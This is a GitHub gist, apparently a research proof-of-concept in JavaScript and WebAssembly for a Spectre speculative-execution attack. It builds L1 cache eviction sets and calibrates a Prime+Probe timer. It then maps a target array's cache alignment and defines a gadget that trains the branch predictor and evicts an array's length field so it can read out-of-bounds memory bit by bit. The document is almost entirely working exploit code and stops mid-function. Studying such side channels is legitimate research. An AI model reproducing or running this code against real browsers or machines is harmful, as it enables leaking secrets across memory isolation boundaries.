Created
March 20, 2021 11:41
-
-
Save cgvwzq/13b5e0fc25e473407632c768f3f3aa93 to your computer and use it in GitHub Desktop.
_tsuro's spectrejs
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const PAGE_SZ = 4096; | |
const CACHE_LINE_SZ = 64; | |
const CACHE_LINES_PER_PAGE = PAGE_SZ/CACHE_LINE_SZ; | |
const CACHE_WAYS = 8; | |
const MEM_PAGES = 8192; | |
const WASM = false; | |
class Utils { | |
sort(arr) { | |
for (let i = 0; i < arr.length; i++) { | |
for (let j = 0; j < arr.length-1; j++) { | |
if (arr[j] > arr[j+1]) { | |
const tmp = arr[j]; | |
arr[j] = arr[j+1]; | |
arr[j+1] = tmp; | |
} | |
} | |
} | |
return arr; | |
} | |
indexOfMin(arr) { | |
let minValue = arr[0]; | |
let minIndex = 0; | |
for (let i = 0; i < arr.length; i++) { | |
if (arr[i] < minValue) { | |
minValue = arr[i]; | |
minIndex = i; | |
} | |
} | |
return minIndex; | |
} | |
mean(arr) { | |
return arr.reduce((a,b) => a+b) / arr.length; | |
} | |
median(arr) { | |
arr.sort((a,b) => a-b); | |
return (arr.length % 2) ? arr[(arr.length / 2) | 0] : this.mean([arr[arr.length/2 - 1], arr[arr.length / 2]]); | |
} | |
mode(arr) { | |
var counter = {}; | |
var mode = []; | |
var max = 0; | |
for (var i in arr) { | |
if (!(arr[i] in counter)) { | |
counter[arr[i]] = 0; | |
} | |
counter[arr[i]]++; | |
if (counter[arr[i]] == max) { | |
mode.push(arr[i]); | |
} else if (counter[arr[i]] > max) { | |
max = counter[arr[i]]; | |
mode = [arr[i]]; | |
} | |
} | |
return mode; | |
} | |
variance(arr) { | |
var x = this.mean(arr); | |
return arr.reduce((pre, cur) => pre + ((cur - x)**2)) / (arr.length - 1); | |
} | |
std(arr) { | |
return Math.sqrt(this.variance(arr)); | |
} | |
} | |
const wasmBytes = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x1a, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x11, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x02, 0x22, 0x02, 0x03, 0x65, 0x6e, 0x76, 0x03, 0x6d, 0x65, 0x6d, 0x02, 0x01, 0x80, 0x40, 0x80, 0x40, 0x03, 0x65, 0x6e, 0x76, 0x0c, 0x70, 0x6c, 0x72, 0x75, 0x43, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x00, 0x00, 0x03, 0x03, 0x02, 0x01, 0x01, 0x07, 0x2a, 0x02, 0x11, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x00, 0x01, 0x12, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x32, 0x00, 0x02, 0x0a, 0x99, 0x05, 0x02, 0xa0, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b, 0xf4, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b]); | |
const sum = new Uint8Array([0]); | |
const mem = new Uint8Array(new ArrayBuffer(MEM_PAGES * 64 * 1024)); | |
const mom = new Uint32Array(mem.buffer); | |
const view = new DataView(mem.buffer); | |
class L1Timer { | |
constructor(callback) { | |
// Main buffer to extract eviction sets from. We assume it's page | |
// aligned. All indexes/pointers are used to access this memory. | |
// buffer | |
this.mem = mem; | |
// %DebugPrint(this.mem); | |
// Number of pages in buffer | |
this.memPages = Math.floor(this.mem.byteLength/PAGE_SZ); | |
// copy-on-write | |
for (let i = 0; i < this.mem.length; i += PAGE_SZ) { | |
this.mem[(i+8)] = 1; | |
} | |
// Auxiliary structures | |
this.usedPages = []; | |
// Compute pair of eviction sets: | |
// - clear is used to evict all previous content from the cache set | |
// - probe is used for the real Prime+Probe | |
// Q: Are associativty "clear" accesses enough? If they are all misses, | |
// then yes; otherwise need more, see: | |
// https://www.rw.cdl.uni-saarland.de/people/grund/private/papers/rts07-predictability.pdf | |
this.clearSets = this._generateEvSets(); | |
this.probeSets = this._generateEvSets(); | |
// Callback is the function that modifies the cache footprint | |
this.callback = callback; | |
if (WASM) { | |
// Create Wasm memory | |
this.memory = new WebAssembly.Memory({ | |
initial: MEM_PAGES, | |
maximum: MEM_PAGES, | |
}); | |
this.memPages = Math.floor(8192*64*1024)/PAGE_SZ; | |
// copy-on-write | |
const wasmU82 = new Uint8Array(this.memory.buffer); | |
for (let i = 0; i < wasmU82.length; i += PAGE_SZ) { | |
wasmU82[i+8] = 1; | |
} | |
// Instantiate Wasm module | |
this.wasm = new WebAssembly.Instance(new WebAssembly.Module(wasmBytes), { | |
env: { | |
mem: this.memory, | |
plruCallback: callback | |
} | |
}); | |
} | |
// Warmup some functions | |
this.timeCacheSet(0); | |
for (let i = 0; i < 1000; i++) { | |
this.callback(); | |
if (!WASM) { | |
this._probeJS(10, this.clearSets[0], this.probeSets[0]); | |
} | |
} | |
} | |
_oscillateTreePLRU(reps, clearSet, primeSet, probeSet) { | |
let x = clearSet|0; | |
let y = primeSet|0; | |
let z = probeSet|0; | |
// Clear cache set | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; // x == 0 | |
// Prime cache set | |
x = mom[y+x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; // x == 0 | |
// Victim | |
x = this.callback(x)|0; // x == 0 | |
// Probe cache set using PLRU strategy (see _linkEvSetStrategy) | |
// Repeat to augment the signal: all hits vs. 3/4th of misses | |
while (reps > 0) { | |
// probe | |
// 0 1 2 4 | |
x = mom[z+x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 3 5 6 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 7 0 1 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 2 3 5 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 6 7 0 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 1 2 3 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 5 6 7 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; // x == probeSet+1 | |
// twice | |
// 0 1 2 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 3 5 6 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 7 0 1 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 2 3 5 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 6 7 0 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 1 2 3 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
// 5 6 7 4 | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; | |
x = mom[x]|0; // x == probeSet+1 | |
// | |
reps -= 3; | |
} | |
return x; | |
} | |
// Probe cache sets with JavaScript using linked list eviction set | |
_probeJS(reps, clearSet, probeSet) { | |
const start = performance.now();//Date.now(0); | |
let x = this._oscillateTreePLRU(4000, clearSet[0]/4, probeSet[0]/4, probeSet[0]/4+1, start); | |
const end = performance.now(x);//Date.now(x); | |
return end - start; | |
} | |
// Indirect eviction set works in Wasm because pointers are passed | |
// in registers. There's no double deref on each access. | |
_probeWasm(reps, clearSet, probeSet) { | |
const start = performance.now(); | |
this.wasm.exports.oscillateTreePLRU2(4000, | |
probeSet[0], | |
probeSet[1], | |
probeSet[2], | |
probeSet[3], | |
probeSet[4], | |
probeSet[5], | |
probeSet[6], | |
probeSet[7], | |
clearSet[0], | |
clearSet[1], | |
clearSet[2], | |
clearSet[3], | |
clearSet[4], | |
clearSet[5], | |
clearSet[6], | |
clearSet[7] | |
); | |
const end = performance.now(); | |
return end-start; | |
} | |
// Measure probing time | |
_primeAndProbeL1(clearSet, probeSet) { | |
// do something | |
if (WASM) { | |
return this._probeWasm(4000, clearSet, probeSet); | |
} else { | |
return this._probeJS(4000, clearSet, probeSet); | |
} | |
} | |
// Return page aligned pointer to random page index inside main buffer | |
_randomPage() { | |
let rnd = 0; | |
do { | |
rnd = Math.floor(Math.random() * this.memPages); | |
} while (this.usedPages.indexOf(rnd) > -1); | |
this.usedPages.push(rnd); | |
return PAGE_SZ * rnd; | |
} | |
// Generate L1 eviction sets: sets of addresses that are mapped into | |
// the same cache set (i.e., have same bits[11:6]) | |
_generateEvSets() { | |
const evSets = new Array(CACHE_LINES_PER_PAGE); // 4096/64=64 lines per page | |
for (let i = 0; i < evSets.length; i++) { | |
evSets[i] = new Array(CACHE_WAYS); // L1 8-ways | |
} | |
// Pick random pages for evSet index = 0 | |
for (let i = 0; i < evSets[0].length; i++) { | |
evSets[0][i] = this._randomPage(); | |
} | |
// Rest of evSets are just relative to first random page | |
// because of linear indexing (again, set == bits[11:6]). | |
for (let i = 1; i < evSets.length; i++) { | |
for (let j = 0; j < evSets[i].length; j++) { | |
// Each element in the evSet array is a pointer to the | |
// real address that is part of the eviction set | |
evSets[i][j] = evSets[0][j]+i*CACHE_LINE_SZ; | |
} | |
} | |
return evSets; | |
} | |
// Prepare a linked list in main memory from the evSet array | |
// of pointers. Only expected to work from JS accessing Uint32Array, | |
// not from Wasm (we divide by 4). | |
_linkEvSet(evSet) { | |
// We need 32bit to access the pointers | |
const view = new Uint32Array(this.mem.buffer); | |
for (let i = 0; i < evSet.length - 1; i++) { | |
view[evSet[i]/4] = evSet[i+1]/4; | |
} | |
view[evSet[evSet.length-1]/4] = 0; | |
} | |
// Prepare a linked list that performs PLRU strategy. | |
// A 64-bytes cache line has capacity for 16 32-bit pointers. | |
// A_n refers to line A pointer n. | |
// | |
// 0_0 -> 1_0 -> 2_0 -> 4_0 -> | |
// 3_0 -> 5_0 -> 6_0 -> 4_1 -> | |
// 7_0 -> 0_1 -> 1_1 -> 4_2 -> | |
// 2_1 -> 3_1 -> 5_1 -> 4_3 -> | |
// 6_1 -> 7_1 -> 0_2 -> 4_4 -> | |
// 1_2 -> 2_2 -> 3_2 -> 4_5 -> | |
// 5_2 -> 6_2 -> 7_2 -> 4_6 -> 0_0 | |
_linkEvSetStrategy(evSet) { | |
const view = new Uint32Array(this.mem.buffer); | |
// Start at pointer 1 because of normal _linkEvSet | |
let count = 0; | |
let four = 1; | |
let prev = 0; | |
// After each cycle increment offset n | |
for (let n = 1; n < 4; n++) { | |
prev = (evSet[0]/4) + n; | |
// console.log('0', n, evSet[0]/4 +n); | |
count += 1; | |
for (let i = 1; i < evSet.length; i++) { | |
if (i == 4) continue; | |
if ((count % 3) == 0) { | |
// console.log('4', four, prev, '->', (evSet[4]/4)+four); | |
// Point previous to 4, increment 4's offet, skip 4 | |
prev = view[prev] = (evSet[4]/4)+four; | |
four += 1; | |
} | |
// console.log(i, n, prev, '->', evSet[i]/4+n); | |
// Point previous to next | |
prev = view[prev] = (evSet[i]/4)+n; | |
count += 1; | |
} | |
// point 7 to next 0 | |
view[prev] = (evSet[0]/4) + n + 1; | |
} | |
// Close cycle | |
prev = view[prev] = (evSet[4]/4)+four; | |
view[prev] = (evSet[0]/4)+1; | |
} | |
// Return time of Prime+Probe on specific cache set | |
timeCacheSet(cacheSetIndex) { | |
const clearSet = this.clearSets[cacheSetIndex]; | |
this._linkEvSet(clearSet); | |
const probeSet = this.probeSets[cacheSetIndex]; | |
this._linkEvSet(probeSet); | |
this._linkEvSetStrategy(probeSet); | |
return this._primeAndProbeL1(clearSet, probeSet); | |
} | |
timeCacheSetMultiple(cacheSetIndex, n) { | |
const clearSet = this.clearSets[cacheSetIndex]; | |
this._linkEvSet(clearSet); | |
const probeSet = this.probeSets[cacheSetIndex]; | |
this._linkEvSet(probeSet); | |
this._linkEvSetStrategy(probeSet); | |
const timing = []; | |
for (let i=0; i<n; i++) { | |
timing.push(this._primeAndProbeL1(clearSet, probeSet)); | |
} | |
return new Utils().mean(timing); | |
} | |
} | |
// ToDo: do not rely on aligned memory | |
const alignedMemory = new Uint8Array(new WebAssembly.Memory({ | |
initial:1, | |
maximum:1 | |
}).buffer); | |
alignedMemory[8] = 1; | |
function calibrate(){ | |
// Victim function: access accessArgs pointer in victim buffer (not main buffer) | |
// trash only used to create virtual data dependency | |
const accessArgs = new Uint32Array([0]); | |
function accessPage(trash) { | |
const pageOffset = accessArgs[0]|0; | |
return alignedMemory[pageOffset+trash*0]; | |
} | |
// Start profiling | |
const utils = new Utils(); | |
const benchmark = new L1Timer(accessPage); | |
// Measure Prime+Probe time for all sets, we want to identify a fast one that | |
// is not affected by side-accesses caused by accessPage() | |
const cacheSetTimings = new Array(CACHE_LINES_PER_PAGE); | |
for (let set = 0; set < CACHE_LINES_PER_PAGE; set ++) { | |
cacheSetTimings[set] = benchmark.timeCacheSet(set); | |
} const fastSet = utils.indexOfMin(cacheSetTimings); | |
console.log('Fastest set: ' + fastSet); | |
const testReps = 60; | |
const hits = new Array(testReps); | |
const misses = new Array(testReps); | |
// Offset that touches the fastSet set, will actually produce misses | |
const hitOffset = fastSet*CACHE_LINE_SZ; | |
// Offset far away form fastSet, will actually produce hits | |
const missOffset = (hitOffset + PAGE_SZ/2) % PAGE_SZ; | |
// Run tests | |
/* | |
accessArgs[0] = hitOffset; | |
const hitsMean = benchmark.timeCacheSetMultiple(fastSet, testReps); | |
accessArgs[0] = missOffset; | |
const missMean = benchmark.timeCacheSetMultiple(fastSet, testReps); | |
*/ | |
for (let i = 0; i < testReps; i++) { | |
accessArgs[0] = hitOffset; | |
hits[i] = benchmark.timeCacheSet(fastSet); | |
accessArgs[0] = missOffset | |
misses[i] = benchmark.timeCacheSet(fastSet); | |
} | |
// Analyse results to extract threshold | |
let cacheHits = utils.sort(hits); | |
let cacheMisses = utils.sort(misses); | |
// Discard outliers | |
cacheHits = cacheHits.slice(0, Math.floor(cacheHits.length*0.98)); | |
cacheMisses = cacheMisses.slice(0, Math.floor(cacheMisses.length*0.98)); | |
// Get stats | |
const hitsMedian = utils.median(cacheHits); | |
const missMedian = utils.median(cacheMisses); | |
const hitsMean = utils.mean(cacheHits); | |
const missMean = utils.mean(cacheMisses); | |
const hitsMode = utils.mode(cacheHits); | |
const missMode = utils.mode(cacheMisses); | |
const hitsStd = utils.std(cacheHits); | |
const missStd = utils.std(cacheMisses); | |
console.log('Hit:', 'mean='+hitsMean, 'median='+hitsMedian, 'mode='+hitsMode, 'std='+hitsStd); | |
console.log('Miss:', 'mean='+missMean, 'median='+missMedian, 'mode='+missMode, 'std='+missStd); | |
console.log(hitsMean, missMean); | |
if (hitsMean > missMean) { | |
const threshold = missMean + ((hitsMean - missMean)/2); | |
console.log('threshold: ' + threshold); | |
return threshold; | |
} else { | |
console.log('meh'); | |
} | |
} | |
const threshold = calibrate(); | |
if (!threshold) quit(); | |
quit(); | |
function triggerGC() { | |
for (let i = 0; i < 50; i++) { | |
new ArrayBuffer(1024*1024); | |
} | |
} | |
const typedArrays = new Array(64); | |
typedArrays.fill(Object); | |
triggerGC(); | |
// TODO: this can be a prefilled array | |
const leakMe = []; | |
for (let i = 0; i < 554; i++) { | |
leakMe[i] = 0; | |
} | |
triggerGC(); | |
for (let i = 0; i < typedArrays.length; i++) { | |
typedArrays[i] = new Uint8Array(0x20); | |
triggerGC(); | |
} | |
triggerGC(); | |
const accessLeakMeArgs = new Uint32Array([0]); | |
function accessLeakMe(trash) { | |
const offset = accessLeakMeArgs[0] | 0; | |
return leakMe[offset+trash]; | |
} | |
const leakMeTimer = new L1Timer(accessLeakMe); | |
function leakMeTestSet(offset, set) { | |
//let tests = new Array(testReps); | |
accessLeakMeArgs[0] = offset; | |
/* | |
for (let i = 0; i < testReps; i++) { | |
tests[i] = leakMeTimer.timeCacheSet(set); | |
} | |
let mean = new Utils().mean(tests); | |
*/ | |
let mean = leakMeTimer.timeCacheSetMultiple(set, testReps); | |
return mean > threshold; | |
} | |
const elementSize = 4; | |
const elementsPerCacheLine = CACHE_LINE_SZ/elementSize; | |
const testElementCount = 48; | |
const testReps = 60; | |
const cacheHits = new Array(testElementCount); | |
for (let i = 0; i < cacheHits.length; i++) { | |
cacheHits[i] = new Array(CACHE_LINES_PER_PAGE); | |
for (let j = 0; j < cacheHits[i].length; j++) { | |
cacheHits[i][j] = 0; | |
} | |
} | |
for (let set = 0; set < CACHE_LINES_PER_PAGE; set++) { | |
console.log(set); | |
for (let elementIndex = 0; elementIndex < testElementCount; elementIndex++) { | |
if (leakMeTestSet(elementIndex, set)) { | |
cacheHits[elementIndex][set] += 1; | |
} | |
} | |
} | |
function previousCacheSet(cacheSet) { | |
return (CACHE_LINES_PER_PAGE+cacheSet-1) % CACHE_LINES_PER_PAGE; | |
} | |
// Find all clear transitions from one cache set to the next. | |
// I.e. it should look like: | |
// hit | miss | |
// -----+----- | |
// miss | hit | |
function* findTransitions() { | |
let offset = elementsPerCacheLine; | |
// need at least 16 elements to the bottom | |
while (offset <= cacheHits.length - elementsPerCacheLine) { | |
for (let cacheSet = 0; cacheSet < CACHE_LINES_PER_PAGE; cacheSet++) { | |
const prevCacheSet = previousCacheSet(cacheSet); | |
if (cacheHits[offset][cacheSet] != testReps) continue; | |
if (cacheHits[offset-1][prevCacheSet] != testReps) continue; | |
if (cacheHits[offset-1][cacheSet] != 0) continue; | |
if (cacheHits[offset][prevCacheSet] != 0) continue; | |
yield [offset, cacheSet]; | |
} | |
offset++; | |
} | |
} | |
// The algorithm is very simple, try to find runs of cache set hit that | |
// transition from one cache set to the next. I.e. if we iterate over the array | |
// elements, we expect 16 hits on cacheSet n, followed by 16 hits on n+1. | |
function inferCacheAlignment(falsePositiveThreshold, falseNegativeThreshold) { | |
for (const [transitionOffset, transitionCacheSet] of findTransitions()) { | |
const prevCacheSet = previousCacheSet(transitionCacheSet); | |
const startOffset = transitionOffset - elementsPerCacheLine; | |
const maxHitCount = 2 * elementsPerCacheLine * testReps; | |
let hitCount = 0; | |
let wrongHitCount = 0; | |
for (let i = 0; i < elementsPerCacheLine; i++) { | |
hitCount += cacheHits[startOffset+i][prevCacheSet]; | |
hitCount += cacheHits[transitionOffset+i][transitionCacheSet]; | |
wrongHitCount += cacheHits[startOffset+i][transitionCacheSet]; | |
wrongHitCount += cacheHits[transitionOffset+i][prevCacheSet]; | |
} | |
if (hitCount/maxHitCount >= (1-falseNegativeThreshold) | |
&& wrongHitCount/maxHitCount < falsePositiveThreshold) { | |
return [true, startOffset, prevCacheSet]; | |
} | |
} | |
return [false, -1, -1]; | |
} | |
const [leakSuccess, alignedIndex, inferredCacheSet] = inferCacheAlignment(0.20, 0.05); | |
console.log(leakSuccess, alignedIndex, inferredCacheSet); | |
// Spectre stuff | |
const kEndMarker = 0xffffffff; | |
const kWasmPageSize = 64*1024; | |
class EvictionList { | |
constructor(initialSize, offset) { | |
const memorySize = initialSize*PAGE_SZ; | |
this.memory = new DataView(new WebAssembly.Memory({initial: Math.ceil(memorySize/kWasmPageSize)}).buffer); | |
this.head = offset; | |
for (let i = 0; i < initialSize-1; i++) { | |
this.memory.setUint32(i*PAGE_SZ+offset, (i+1)*PAGE_SZ+offset, true); | |
} | |
this.tail = (initialSize-1)*PAGE_SZ+offset; | |
this.memory.setUint32(this.tail, kEndMarker, true); | |
this.length = initialSize; | |
} | |
traverse() { | |
let e = this.head; | |
while (e != kEndMarker) { | |
e = this.memory.getUint32(e, true); | |
} | |
return e; | |
} | |
} | |
const ERR_MEM_LAYOUT = 0; | |
const ERR_U8_ALIGN = 1; | |
const ERR_NO_41 = 2; | |
function sleep(ms) { | |
return new Promise(r=>setTimeout(r, ms)); | |
} | |
function alignedArrayBuffer(sz) { | |
const wasm_pages = Math.ceil(sz/(64*1024)); | |
return new WebAssembly.Memory({initial: wasm_pages, maximum: wasm_pages}).buffer | |
} | |
const probeArray = new Uint8Array(alignedArrayBuffer(PAGE_SZ)); | |
probeArray[0] = 1; | |
const spectreArgs = new Uint32Array([0, 0, 0]); | |
function spectreGadget(trash) { | |
// We want to access as little memory as possible to avoid false positives. | |
// Putting arguments in a global array seems to work better than passing them | |
// as parameters. | |
const idx = spectreArgs[0]|0; | |
const bit = spectreArgs[1]|0; | |
const waaaaaat = spectreArgs[2]|0; | |
// Add a loop to control the state of the branch predictor | |
// I.e. we want the last n branches taken/not taken to be consistent | |
for (let i = 0; i < 200; i++); | |
// idx will be out of bounds during speculation | |
// if the bit is zero, we access cache line 0 of the probe array otherwise | |
// 0x800 (cache line 32) | |
return probeArray[idx < spectreArray.length ? ((spectreArray[idx]>>bit)&1)*0x800 : 0x400]; | |
} | |
function testBit(evictionList, offset, bit, bitValue, noopt = true) { | |
spectreArgs[0] = 0; | |
spectreArgs[1] = 0; | |
// Run the gadget twice to train the branch predictor. | |
for (let j = 0; j < 2; j++) { | |
spectreGadget(); | |
} | |
// Try to evict the length field of our array from memory, so that we can | |
// speculate over the length check. | |
evictionList.traverse(); | |
spectreArgs[0] = offset; | |
spectreArgs[1] = bit; | |
// In the gadget, we access cacheSet 0 if the bit was 0 and set 32 for bit 1. | |
// const timing = spectreTimer.timeCacheSetMultiple(bitValue == 1 ? 32 : 0, 10); | |
const timing = spectreTimer.timeCacheSet(bitValue == 1 ? 32 : 0); | |
if (timing > threshold) { | |
return true; | |
} else if (noopt) { | |
return false; | |
} | |
// This is never reached, but the compiler doesn't know. | |
// The gadget breaks if this function gets optimized. So we add garbage | |
// instructions to blow up the byte code size and disable optimization. | |
